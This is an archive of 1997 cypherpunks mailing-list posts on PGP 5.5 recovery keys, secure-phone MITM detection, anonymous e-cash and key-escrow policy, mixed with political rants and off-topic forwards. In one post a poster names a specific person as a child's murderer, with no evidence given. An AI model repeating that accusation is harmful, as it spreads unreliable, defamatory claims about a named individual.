From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 9 Oct 1997 17:07:07 +0800
To: cypherpunks@cyberpass.net
Subject: anonymous poster quality up
Message-ID: <199710090852.JAA00726@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




I notice that the quality of anonymous submissions to the discussion
here on cypherpunks has increased markedly lately.

I can see a couple of reasons why this might be: Monty Cantsin seems
to write consistently good stuff, Tim May announced he may be using
some nyms, and we have this big argument with PGP Inc where their
employees may feel pressure not to speak out of line.  One suspects
that some of the anonymous contributors exploring the issues are
actually PGP employees:-)

Regardless of who the new anonymous contributors are, it's nice to see
quality anonymous posts, keep it up!

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Thu, 9 Oct 1997 22:32:14 +0800
To: Tim May <cypherpunks@Algebra.COM
Subject: Re: What's really in PGP 5.5?
In-Reply-To: <3.0.2.32.19971008090442.0070305c@ece.eng.wayne.edu>
Message-ID: <3.0.2.32.19971009102535.006b5a50@ece.eng.wayne.edu>
MIME-Version: 1.0
Content-Type: text/plain



At 08:55 AM 10/8/97 -0700, Tim May wrote:
>>Well, any company giving stock advice (and governed by SEC rules on stock
>>tips, etc.) is already require to have all outgoing mail approved (e-mail
and
>>snail), so does it matter if they record it or not?
>>
>
>Could you give me some cites for this rule?
>
>My own stock broker seems to be sending me stuff on the spur of the moment,
>so unless he has a government agent sitting in his office approving these
>notes he sends me, there is no "outgoing mail approved (e-mail and snail)"
>situation.

I believe I read that in Infoworld or ComputerWorld (within the last month,
maybe 2)

The rules that the SEC had for snail mail (for brokers/traders I believe),
in that all mail had to be approved by someone in the company now apply to
e-mail.

I don't save my copies of Infoworld or Computeworld anymore (too much
paper) so I can't look it up easily for you.

>(They can try to get a warrant if they think I've violated the insider
>trading or other securities laws. But no "approval" is needed, nor of
>course is any escrow of keys required.)

Oh, I see where I was a bit unclear in my original statement.  This rule
only applies to the brokerage firms (I think I've got the right terms
there, if not, the general idea should be clear)

>(When I was Intel, we didn't have crypto. But if we did, the real concern
>would be encryption of lab notebooks, documents on disk, etc., not my
>communications with outsiders. These are the files which would vanish were
>I to be hit by a truck.  As we have discussed many times, how does
>escrowing the _channel_ key (Alice sending to Bob) solve the "hit by a
>truck" problem?)

What, you don't encrypt your lab book to yourself (and sign it) with your
public key?  Easier than remembering another symmetric key, and allows you
to keep a the recovery key in use.



-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso@ece.eng.wayne.edu         
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 10 Oct 1997 15:14:29 +0800
To: Adam Back <jad@dsddhc.com
Subject: Re: computationally infeasible jobs for MITMs (Re: Secure phone)
In-Reply-To: <3.0.3.32.19971008132417.00b0c6d0@labg30>
Message-ID: <3.0.3.32.19971009111805.006aedf0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>> It would be easy enough to "trick" the MITM into exposing their
>> existance anyway, just by using digits that come up in conversation.
>> Humans would be able to come up with unique situations that the MITM
>> would find all but impossible to predict.  "Hey, Eric, I noticed
>> that the third digit of your IP address' second octet is the same as
>> the second digit of our exchange.  How's by you?"  A sudden dropout

Another game you can play, with the audio, is to have music playing in
the background, so Eve not only has to fake Alice's voice, but has to
fake Alice reading numbers against a background of an arbitrarily-selected
musical piece.

Now, the effectiveness of the technique may depend on the musical
tastes of the players ("Hey - that's not Toscanini conducting
Beethoven's Fifth - that's the Furtwangler version on Deutsche Gramophon!"/
"Oh, was that Elvis?  I guess so."/ "We're being MITMed - the Terrapin Station 
during the numbers was off the album, where Jerry remembered all the words, 
and now you're playing an audience tape version from Nassau in 89" )
and with some genres of music, it makes it easier to notice if 
there's a gap.
				Thanks!
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Cordian <emc@wire.insync.net>
Date: Fri, 10 Oct 1997 00:30:53 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Where is _my_ blowjob?
In-Reply-To: <343C739A.72AA@dev.null>
Message-ID: <199710091622.LAA17373@wire.insync.net>
MIME-Version: 1.0
Content-Type: text/plain



Some sort of Monger wrote:

> So it was no great surprise to find CNN still reporting the LIE that
> the child-rapist/murderer in New Jersey had been a victim of a sexual
> predator he had met on the InterNet, despite the fact that the news
> services who *aren't* part of the fifty billion dollar giveaway of
> taxpayer-citizen's public resources have been reporting the FACTS for
> quite some time now.

The facts are that a 15 year old exploring his gay sexuality entered into
a long term relationships with an older guy he met on a chat line. 

Cops entrapped the younger one in a child porn sting, seized his hard
drive, bugged his phone, and tried to force him to incriminate his friend. 
He finally got pissed, smashed the recording machine, told his friend what
was going on, and suggested the cops fuck themselves. 

His parents and the cops then tried to have him declared insane and
institutionalized, which didn't work.  They also immediately arrested his
friend.  The cops working on his case then phoned the team investigating
the murder of the younger boy, and gave his name to them as a suspect.  He
was then arrested and jailed for that murder, although no direct evidence
linking him to the murder has been released. 

The boy's parents have now embarked upon a nationwide crusade claiming
that their "rights" were violated because laws do not allow the parents of
a minor to institutionalize him at will.  They have signed a legal waver
of their child's right to privacy in order to facilitate this crusade, in
spite of the fact that he will likely be tried as an adult and this will
undoubtedly prejudice his trial.

Meanwhile, the parents have not let these minor tribulations mess up the
their heavy schedule of lavish vacations and casino gambling. 

The press continues to harp on the "murder suspect was abused"  and
"parents rights foiled by the system" aspects of the case, to the
exclusion of the possibility that he is only in jail because the police
wanted to screw him, or that the murder was committed in a blind fit of
rage as a result of his manipulation at the hands of various authority
figures. 

Somewhere in all of this is the truth, which will no doubt unfold as all
these scenarios play themselves out.

--
Eric Michael Cordian 0+
O:.T:.O:. Mathematical Munitions Division
"Do What Thou Wilt Shall Be The Whole Of The Law"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jon Callas <jon@pgp.com>
Date: Fri, 10 Oct 1997 02:39:33 +0800
To: Mike <jon@pgp.com>
Subject: Re: What's really in PGP 5.5?
In-Reply-To: <3.0.3.32.19971007142710.00a22970@mail.pgp.com>
Message-ID: <3.0.3.32.19971009112539.00aea800@mail.pgp.com>
MIME-Version: 1.0
Content-Type: text/plain



At 02:46 PM 10/8/97 +0200, Mike wrote:
   
>What happens when the non corporate versions of PGP encrypts a message to
>Alice? Will they disregard the recovery key and encrypt to Bob, or simply
>fail?
   
Here is what happens if you are using freeware/personal privacy:

It brings up a dialog box and gives you the option of encrypting to Alice
alone or Alice plus her corporate recovery key. If the "strict" flag is set
on Alice's CMRK and you remove it, we display a dialog box that wags a
finger at you and tells you you're being naughty, but that's it. If you
remove Alice's CMRK from your key ring, it just sends to Alice alone and
doesn't bother you at all.

If this isn't what happens, it's a bug. Tell us, we'll fix it.

	Jon



-----
Jon Callas                                         jon@pgp.com
Chief Scientist                                    555 Twin Dolphin Drive
Pretty Good Privacy, Inc.                          Suite 570
(415) 596-1960                                     Redwood Shores, CA 94065
Fingerprints: D1EC 3C51 FCB1 67F8 4345 4A04 7DF9 C2E6 F129 27A9 (DSS)
              665B 797F 37D1 C240 53AC 6D87 3A60 4628           (RSA)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "James A. Donald" <jamesd@echeque.com>
Date: Fri, 10 Oct 1997 02:43:18 +0800
To: Adam Back <jad@dsddhc.com
Subject: Secure Phone:  Making man in the middle audible.
Message-ID: <199710091831.LAA06017@proxy3.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain



Here is a method to render Man in the Middle audible on a telephone
connection.

Before speech can be encrypted, it is digitized and compressed.  It
is turned into digital packets.  There is some choice in the size
and other properties of the digital packets.

Suppose that Bob's computer from time to time formulates a plan to
do groups of a particular size and form, and sends Ann's computer a
hash of that plan and the DH negotiated shared secret.

Malloc (the man in the middle) cannot send this hash to Ann's computer
for Ann would discover the shared secret she is using is not the same
as the shared Bob is using.

So his computer must formulate its own plan, and send its own hash, 
which will not agree with Bob's plan, because Bob's computer does
not reveal the plan except by actually sending the packets.

So malloc must decompress Bob's speech packets, repacketize them, 
and recompress them,

Often he will not be able to send off a packet, until he has received 
two of Bob's packets.

So this triples the delay, and increases the speech degradation.

This should quite noticeable, noticeable enough to provoke Bob
and Ann into verifying their connection by reading the hash
digits of their shared secret.

 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd@echeque.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John Kelsey" <kelsey@plnet.net>
Date: Fri, 10 Oct 1997 01:14:59 +0800
To: "Coderpunks List" <cypherpunks@Algebra.COM>
Subject: Applying ``Crowds'' idea to anonymous e-cash.
Message-ID: <199710091652.LAA14607@email.plnet.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

[ To: cypherpunks, coderpunks, Perry's Crypto List ##
  Date: 10/09/97 ##
  Subject: Applying ``Crowds'' idea to anonymous e-cash. ]

I was thinking about applying the ``Crowds'' idea to
anonymous e-cash, and came up with what I think is a pretty
good idea.  I am interested in seeing if anyone sees either
holes in it, or ways to improve it.  I am also interested in
hearing about whether or not it has been invented before.

Crowds, for those who haven't seen it, is a way of
giving web users partial anonymity by making it impossible
to determine which member of some ``crowd'' of users did
some action (such as requesting a document).  (This is a
very rough summary--read the paper for the real analysis.)

I can see a way to do something very similar with
withdrawing electronic coins.  (This works best with
online-cleared coins), without any blinding being used.
I think this gets around the Chaum patents.  I also think it
can probably be implemented more-or-less on top of the
web-anonymizing Crowds stuff, though I may be wrong.

Here's the basic idea:

1.      A Crowd of users forms up, each wanting to withdraw
some reasonably large amount of money, such as $100, in $1
e-coins.

2.      Each user provides a public key and pays some money
(perhaps $101) into the bank.  The bank registers each
public key as belonging to a member of the crowd.

3.      Each member of the crowd is given all other members'
public keys.

4.      Each member prepares 100 one-use symmetric
encryption keys, each with a 64-bit key ID.

5.      The members organize themselves into a sort of
one-time anonymous routing network, using those public keys.
Each message to be sent is encrypted in layers (a la onion
routing), so that each member appears at least once in the
message's path.  Each message ends up at the bank,
eventually.  I'll talk about likely network architectures
later, if anyone's interested.

6.      The bank publishes something noting that it has
received N*100 keys, where N = the number of members in the
crowd.  It also publishes the hashes of all N*100 symmetric
keys.

7.      Each member digitally signs something saying that he
agrees with the keys published, he hasn't been railroaded,
etc.  Nothing proceeds until this has been published from
each member.

8.      The bank encrypts one $1 online-cleared e-coin under
each symmetric key.  It publishes a list of (key ID, encrypted
coin) pairs for all the members to receive.

9.      Each member walks away with $100 in $1 e-coins.
Nobody can prove which member got which coin.  No linking of
coins is possible.

Now, the protocol isn't all *that* important here, but the
idea is:  We interface with the traceable money world, but
grant a sort of weak anonymity for all users in the crowd.

Because the coins are online-cleared, they must be deposited
immediately.  To protect recipient-confidentiality, these
can be deposited under a pseudonym account--basically just a
one-use public key.  The recipient accumulates a bunch of
credit under that public key, and then goes through the
withdrawal procedure again to get new, weakly anonymous
coins, which he can openly deposit without direct
traceability.  (That is, the bank can still learn that
certain coins were spent at the same place, but can't
identify the final recipient of the money.  I can think of
ways to adapt this idea to unlinkability, though they
involve some implementation hassles.)

Note that multiple iterations of the withdrawal protocol
make things much stronger.  That is, there is no reason why
the participants in the withdrawal protocol have to spend
their e-coins directly--they can also use them, along with a
one-use public key, to go back into the withdrawal protocol
again.  An attacker who manages to link a given coin to a
given crowd (possible only with the help of the bank) with
some anonymous participants (who paid in with coins from
this scheme) must face the possibility that this coin could
have come from the anonymous participants--which can then be
traced to another pool, with other anonymous participants,
etc.  The attacker can't even make statistical statements
in many cases, since, if I were doing something really hot,
I'd want to go through the withdrawal process lots of times.
The bank can tell only what crowd your coins came from, not
how many times you have swapped your coins out.  If you're
willing to pay the transaction costs and time, you can
withdraw and deposit as many times as you like.

Comments?  Is this idea practical at all?  Has someone else
already done it?

   --John Kelsey, jmkelsey@plnet.net / kelsey@counterpane.com

- -----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.2

mQCNAi5JqlEAAAEEAPCEHMBdDCAJ83/ibNM7ngCaaibv7YkTxcpKPjTO+WcjswFV
SEzMeTqW4MX2wSKdfcMq1HembbgfYs7v2UCnUFkLPZF19s3yUSISGcS7JxlBc3q1
7uj8W5XfBoGpgCYQqYFL2+AB/+3tLu7lU5iiEYCnevY5GQkq0kHx57Ag8goBAAUR
tCdKb2huIE0uIEtlbHNleSBKciA8am1rZWxzZXlAZGVscGhpLmNvbT6JAJUDBRAv
5uh7QfHnsCDyCgEBAQZ2A/9/OMeWK4YC+PnEzBTmgpF4WAOsVXfzRD3zAbzfNWY9
MEGo4gRF8Mr1lPHdK+0JOHp327mj9ZvYqQb1bV5fwc5dJa8/Z34VLPYlVg2rV7vJ
Hd0YnrgkoaIerbRmtP8dmZGeygeFtrk8aDCdcnMm27+tTJACl5hv2yjFO9rxBq+R
MLQpRXhwaXJlcyBmb3IgbmV3IHNpZ3MvbXNncyBvbiBEZWMgMzEsIDE5OTc=
=pOyw
- -----END PGP PUBLIC KEY BLOCK-----


-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBNDzFQkHx57Ag8goBAQHYkQQA0Oud9OvEX7qJdxJgGyirqzrAN4jI005p
aOVl9UnSf4XGEPj1DFMONW61HaLoh46tEDmnfMrXjI706IfwNF3HfY14FIrGe5Nb
U386CP5iztc6rpS6YsiX+prN9Q9RIXzari9uSHrmYSlGAcqa571vy7kkn7uejGBC
jv+0hnYNE1M=
=aHpr
-----END PGP SIGNATURE-----


   --John Kelsey, Counterpane Systems, kelsey@counterpane.com
 PGP 2.6 fingerprint = 4FE2 F421 100F BB0A 03D1 FE06 A435 7E36





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John Kelsey" <kelsey@plnet.net>
Date: Fri, 10 Oct 1997 01:14:17 +0800
To: "Perry's Crypto List" <cypherpunks@Algebra.COM>
Subject: Defeating MITM with Eric's Secure Phone
Message-ID: <199710091653.LAA14615@email.plnet.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

[ To: cypherpunks, coderpunks, Perry's Crypto List ##
  Date: 09-Oct-97 ##
  Subject: Defeating MITM with Eric's Secure Phone ]

>Date: Wed, 8 Oct 1997 23:48:33 +0100
>From: Adam Back <aba@dcs.ex.ac.uk>
>Subject: computationally infeasible jobs for MITMs (Re: Secure
phone)

>How about this for a computerised method to do something similar. 
Aim
>of the game: to make the MITMs job computationally infeasible.

[Method using stegoed audio noise deleted.]

I prefer to work on the more immediately useful problem:
How can I secure my use of the (very nicely done) Comsec
secure phones using existing infrastructure?  I am concerned
with the MITM voice impersonation attack, since that's the
easiest attack on the system. (Actually, it's probably
easier to physically tap my office, but I can't fix that
right now.)

The simple MITM defenses (like restating your checksum
spontaneously in the middle of the conversation) take care
of lots of this.  Here's another way that may make some
sense, though it's a little hard to use:

1.	Exchange PGP-encrypted e-mail establishing a set of
sixteen different words, labeled for 0..f in each direction.
Thus:

0.	Dilbert
1.	Alpha
2.	Cable
3.	Swordsman
...
f.	Marxist

Now, the checksum reading is very hard to spoof.  Suppose I
get 0x33f. I say ``My checksum is Swordsman Swordsman
Marxist, or 33f.''

An attacker with digits besides 3 and f in his checksum
simply doesn't know how to impersonate me to the other
party.  He lacks the secret information we've shared.

Now, the problem with this is that it's too cumbersome.  I
would like the shared secret information to be usable with
less effort.

If we just want to detect the MITM eventually, then I can
send the other participant a PGP-signed e-mail, in which I
include the whole 6-digit checksum.  That won't prevent the
MITM attack from working once, but it will let us know
after-the-fact if our conversation was exposed.  If we find
evidence that our conversation was intercepted, then we can
start using my one-time word lists, or some other more
paranoid mechanism.

Still another approach, which may be applicable for some
people, is to write a simple calculator-type application
that uses a shared-secret to compute a checksum on the
checksum.  Thus, when I call Alice, I do the following:

1. Type the shared secret between Alice and me into the
calculator app.

2. Make the call to Alice and push the ``secure'' button.

3. Type the six-digit checksum into the calculator app.

4. Read the calculator's first three checksum digits.

5. Listen to her next three digits.

The simplest way to do this seems to be to just exchange a
six-digit hex value as a one-time password for a given
secure phone call.  This is done using PGP or some other
mail encryption package, and can legitimately be used to
exchange a long list of one-time passwords at once. Then,
use Windows' calculator application (with View set to
Scientific, and Mode set to Hex) to add your one-time
password to the checksum.  Thus:

1. I pull up Alice's latest encrypted e-mail, and get
today's phone password.

2. I open the Windows calculator, set it to View/Scientific
and hex mode, and type in the password (a six-digit hex
number) and ``+.''

3. I call Alice, say hello, and push the ``SECURE'' button.

4. I type the six digit hex checksum into my calculator.

5. I read the first three digits of the result to her.  She
reads the next three to me.

All of this (except for maybe re-reading the checksum in the
middle of the conversation) is probably overkill.  Still, it
may be worth something to someone.

Is there a clean way to have the secure phone box take input
from the dialpad on the phone, without sending it out on the
phone line?  If so, then maybe some later version could
include a PIN-secured mode, using EKE or SPEKE or something
similar.  (For a supported mode, the checksum wouldn't need
to be read over the phone anymore.  We would need to protect
the shared PIN from brute-force attack, however.)

>Adam


   --John Kelsey, jmkelsey@plnet.net / kelsey@counterpane.com

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Version: 2.6.2

iQCVAwUBNDy68UHx57Ag8goBAQGP1QP9H6Z9Infv1z1swBzpEsvn+VZyweMj20to
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5XQCFcUzBRAEraxeF7xFnEH+Ss35lcCvzAXaWaVLB6apBvXP5ZkZtFr/vUYLhrtF
Y34E8AAXFrg=
=AlX3
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   --John Kelsey, Counterpane Systems, kelsey@counterpane.com
 PGP 2.6 fingerprint = 4FE2 F421 100F BB0A 03D1 FE06 A435 7E36





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Fri, 10 Oct 1997 03:08:51 +0800
To: John Kelsey <kelsey@plnet.net>
Subject: Re: Applying ``Crowds'' idea to anonymous e-cash.
In-Reply-To: <199710091652.LAA14607@email.plnet.net>
Message-ID: <Pine.SUN.3.91.971009115957.8860B-100000@netcom2>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 9 Oct 1997, John Kelsey wrote:
> 
> Crowds, for those who haven't seen it, is a way of
> giving web users partial anonymity by making it impossible
> to determine which member of some ``crowd'' of users did
> some action (such as requesting a document).  (This is a
> very rough summary--read the paper for the real analysis.)

Some people from MSFT proposed a similar concept at FC'97. As for its 
real life value, the legal term for such a system is "conspiracy".


-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Fri, 10 Oct 1997 00:45:28 +0800
To: cypherpunks@cyberpass.net
Subject: Re: What's really in PGP 5.5?
Message-ID: <8dd53fe6b49e0a4b1b529cf8e6c6f7f7@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



The danger with the PGP system is that it could be easily perverted into
a British style trusted-third-party system for GAK.  The government
would set up a key management infrastructure to provide an official
repository and CA to register keys.  It could even be "voluntary" if
only government-approved CAs had liability protection which private CAs
didn't have, making it hard for the privates to compete.

However the price to use the government registry is that each key has
to use the PGP features to specify a TTP as an additional recipient.
Every message encrypted to that key should also be encrypted to the
TTP key.  Only government-approved TTPs may be used, and although
there are many to choose from, all have to provide easy and secret GAK.
The PGP 5 software will then automatically encrypt to the TTP key.

Yes, this can be defeated using superencryption or faking the
additional-recipient block in the message.  But we know any scheme can
be defeated.  It still satisfies the government's requirement to get
routine access to most email communications, and to allow criminals who
use standard email packages to be watched.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 9 Oct 1997 19:20:31 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199710091106.NAA23241@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



"THE DUKE" <pleontks@hotmail.com> writes:

>The government is not planning to murder everyone.  The Government is 
>not keeping aliens in the 'basement'.  The X-Files are not real.  The 
>government is not murdering public figures, and setting-up pore, 
>civilian saps to take the fall.  The only thing that the Government is 
>doing is running our country the best it can.

The Government routinely lies to the citizens it allegedly represents.
It infringes on the rights guaranteed those citizens by the Constitution.
The FCC can't allocate radio bandwidth efficiently, byt they seem to have
no problem telling Howard Stern not to say "vagina" on the radio. I could
go on and on, ad nauseam, but you get the idea.

If this is their best effort, they should be horsewhipped, tarred, 
feathered, and run out of town on a rail. Unfortunately, the brain-dead
populace continues to get hypnotized by their Pied-Piper tales and
makes the biennial Bataan death march to the polls (nice double
entendre there, n'est-ce pas?) to choose between Picto Bold and Picto
Light, the two candidates in their district who have a single common
goal: to get elected to an office where they can get a firm lip clamp
on the teat of the American taxpayer, and skim off the lobbyists in
their spare time. Neither one really gives a flying fuck about the
people they represent; it's the power they want.

>All you are doing for the Government, is finding fault and conspiracy in 
>every action.  You are destroying the Government, and are thereby 
>destroying America.

Why would I want to do anything for the Government? I already pay them
a tithe (oh, sure, you can call it "income tax") to stay the fuck away
from me, by and large. 

As soon as someone shows up at my door and says "Hi, I'm here from the
Government to help you," I'm running for my life. That kind of "help"
usually results in gunfire, or dependence on further Government subidies,
or having mopey Government types hang around to explain to me that I should
use water-based varnish so I don't wreck the ozone layer.

>None of you have my pity.  I spit upon you all.

None of us need your pity. And wipe your chin when you're done. And say
"hi" to Mr. Freeh next time you see him. Of course, it won't be his
face that'll be at eye level. . .

AngerMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Travel Group Email Account <travmail@MICROSOFT.com>
Date: Fri, 10 Oct 1997 04:44:56 +0800
To: "'cypherpunks@toad.com>
Subject: Identical Password and Member ID
Message-ID: <316D29A34DA2CF11862000805F388D4C02784F2D@RED-30-MSG.dns.microsoft.com>
MIME-Version: 1.0
Content-Type: text/plain



Dear Joe,


Our records show that your Expedia account contains a member ID and
password that are identical.  While we understand that this makes it
simpler for you to remember them, we are now asking our members to
create passwords that do not match their member ID's.  We appreciate
your assistance in this small change, which increases the security of
your account.

You can change your password by following these steps:
1.  Access your Expedia Member Information
http://expedia.msn.com/pub/signup.dll?qscr=uupd 
2.  Click Continue on the Expedia sign in screen.
3.  If prompted, enter current member ID and password, and then click
Continue.
4.  Click Continue on the secure sign in screen.
5.  Follow instructions for section labeled 3 of 6: Password.  
6.  Click Continue.

Thank you for using Expedia.  Please feel free to contact us if you have
any questions.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 10 Oct 1997 01:51:18 +0800
To: cypherpunks@cyberpass.net
Subject: Improper biometric controls...
Message-ID: <v03110781b062c598cdbf@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Resent-Date: Thu, 9 Oct 1997 11:55:35 -0400
X-Authentication-Warning: qnx.com: localhost [127.0.0.1] didn't use HELO
protocol
To: 0xdeadbeef@substance.abuse.blackdown.org
Cc: bostic@bsdi.com
Subject: Exam tip o' the day
Date: Thu, 09 Oct 1997 11:50:58 -0400
From: glen mccready <glen@qnx.com>
Resent-From: 0xdeadbeef@substance.abuse.blackdown.org
X-Mailing-List: <0xdeadbeef@substance.abuse.blackdown.org> archive/latest/2317
X-Loop: 0xdeadbeef@substance.abuse.blackdown.org
Precedence: list
Resent-Sender: 0xdeadbeef-request@substance.abuse.blackdown.org


Forwarded-by: Rob Windsor <windsor@oc.com>
Forwarded-by: Kirk A Schneider <kschneid@oc.com>

   It was the week of finals, and obviously, everyone was stressing.
This happened in a big (+300) lecture class, it was some hard science
course with one of those real pain-in-the ass professors.  Everyone
taking this course had been dreading this final from the start. They all
knew they had no hope. There was one student in the class who felt
confident in the area if he could just take his time and work his way
through each problem.
   So, on the day of the final, he decided he would just take his time
on the test. The exam began, and he slowly paced himself, carefully
working out each problem. This was diffficult because the professor was
one of those guys who would obnoxiously yell to the class how much time
they had left every three minutes. He was just one of those guys who
needed a smack in the face.
   Finally, time was up, and the teacher told the class to stop, and to
bring their test papers down to his desk. With over three-hundred
people, this procedure took quite a while.  That one student just
continued working on his test. Eventually, ten extra minutes turned into
twenty, until the student was there for almost an hour after the exam
had ended. He looked at his paper, and decided he had completed the test
to his satisfaction, and he could now hand it in. He gathered his things
and walked down to the teachers desk.
   The professor was sitting at the desk, the tests were still sitting
on the desk in a neatly stacked pile, and it was clear he had just been
waiting for this student to finish so that he could tell him that he had
failed. The student reached his professors desk with a big smile on his
face. The professor said to him, "This test was due an hour ago. By
handing it in now it is considered late, and consequently, you fail."
   The student looked right at the professor and said to him "Do you
know who I am?"
   The professor clearly upset by his student's response said "What are
you talking about?"
   Again the student said, "Do you know who I am?" The professor
responded by saying no, of course not... Just as he said this, the
student lifted up half of the test papers still sitting on the teachers
desk. He casually slipped his test on the pile, and let the rest of the
tests fall naturally back onto the stack. He looked at his professor and
said "I didn't think so."

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Phillip Hallam-Baker <hallam@ai.mit.edu>
Date: Fri, 10 Oct 1997 02:56:56 +0800
To: "'cypherpunks@toad.com>
Subject: RE: EU Rejects GAK
Message-ID: <01BCD4C0.6DD164E0.hallam@ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain



Before people get carried away it is important to realise that the
EU institutions do not map onto US ones. The EU Commission
does not have an analogue in the US system. It is an unelected
group of beureacrats whose purpose is (roughly speaking) to 
harmonize EU law. It does not have legislative powers in its own
right, nor does it necessarily have much influence.

The EU lawmaking process is essentially that the Commision 
drafts some suggestions and passes them onto the council of
ministers which accepts, rejects or ammends them. If there is
unanimous agreement in the concil of ministers (majority vote
on a restricted number of issues) then a directive is issued which
the national parliaments must then enact into law. 

The limited scope of EU laws is critical, the EU is much like the 
US prior to the civil war, the member states are sovereign. 

Thus there is nothing the EU Commission can do to prevent 
member states outlawing crypto, nor for that matter can they 
force them to allow it. They can assist in forming EU wide
regulations either way however.


The real importance of the EU report is probably that it denies
the statements made by the Freeh et. al. claiming that US alies
in Europe are in favour of GAK. Despite the fact that there has 
never been any public demonstration of a commitment the
administration has disingenuously claimed that it has the 
support of and indeed is being pressured to take its stance on
export controls by other countries.

Needless to say it is unconvincing to be told 'trust me' by someone
who is clearly peddling a lie. Few people can prove it is a lie 
because few people can claim to have the personal access to
European politicians the administration can. I know UK politics
well enough to know that the current parliament is not going to 
back any increase of powers for a security service that many 
members of the government was used politically by the Conservatives. 
It would be like the nation of Islam calling for arbitrary arrest powers
for the police.


		Phill









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 10 Oct 1997 04:26:43 +0800
To: cypherpunks@toad.com
Subject: Re: Where is _my_ blowjob?
In-Reply-To: <199710091622.LAA17373@wire.insync.net>
Message-ID: <3iNBee2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Eric Cordian <emc@wire.insync.net> writes:
> The press continues to harp on the "murder suspect was abused"  and
> "parents rights foiled by the system" aspects of the case, to the
> exclusion of the possibility that he is only in jail because the police
> wanted to screw him, or that the murder was committed in a blind fit of
> rage as a result of his manipulation at the hands of various authority
> figures. 

I think the 15-y-o did not kill the 11-o-y.  I think Chris Lewis did it.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "James A. Donald" <jamesd@echeque.com>
Date: Fri, 10 Oct 1997 07:13:15 +0800
To: Jon Callas <minow@apple.com
Subject: Re: What's really in PGP 5.5?
Message-ID: <199710092259.PAA13153@proxy3.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain



At 02:27 PM 10/7/97 -0700, Jon Callas wrote:
[Explaining PGP's rather alarming "data recovery" features.]
> Well, that's mostly all it is. There are other bits of the system. For
> example, if I look up Alice's key on a key server and Alice has a recovery
> key, I get Alice's recovery key, too. If Alice's recovery key is a "please
> use" key, then I can encrypt to Alice alone. In any case, the PGP software
> tells me that Alice has a recovery key, so I can decide to use some other
> mechanism to talk to her.

Sending a copy to the boss of everything Alice sends is OK.

If Alice wants to send something her boss should not read, perhaps she
should use her private account, rather than a company paid account.

Sending a copy of everything Alice receives to the boss or HR is not OK.

Alice should get to control it.

It would be acceptable for the company system to keep track of what
Alice has received, and flag "Alice received something, and has not
yet filed the cleartext copy with us"

It is not acceptable to just plain snoop on what Alice receives.

> Note that design satisfies the opt-in and fair-warning requirements. Also,
